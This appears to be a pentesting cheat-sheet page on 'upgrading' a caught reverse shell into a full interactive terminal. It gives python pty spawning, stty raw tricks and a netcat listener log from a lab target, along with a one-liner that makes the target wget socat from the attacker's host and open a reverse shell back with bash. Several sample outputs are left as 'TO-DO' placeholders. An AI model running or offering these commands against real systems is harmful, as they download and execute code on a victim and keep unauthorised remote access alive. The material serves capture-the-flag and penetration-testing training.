Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Upgrade Shell
Check installed binaries
which sh
Sample Output:
TO-DO
which bash
Sample Output:
TO-DO
which python3
Sample Output:
TO-DO
which python
Sample Output:
TO-DO
python3 -c 'import pty; pty.spawn("/bin/bash")'
Sample Output:
$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.55] 33490
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@kotarak-dmz:/$
zsh: suspended rlwrap nc -lvnp 1337
# Ctrl-Z to send the process to background, then
stty raw -echo; fg
Sample Output:
$ stty raw -echo; fg
[1] + continued rlwrap nc -lvnp 1337
tomcat@kotarak-dmz:/$
# Start a local http server
python3 -m http.server 80
Sample Output:
TO-DO
# In our local Linux machine
socat file:`tty`,raw,echo=0 tcp-listen:<LOCAL_PORT>
Sample Output:
TO-DO
# In target machine
wget -q http://<LOCAL_IP>/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LOCAL_IP>:<LOCAL_PORT>
Sample Output:
TO-DO
# In our local Linux machine
export TERM=xterm-256color
Sample Output:
TO-DO
Ref: Download socat
script -qc /bin/bash /dev/null
Sample Output:
TO-DO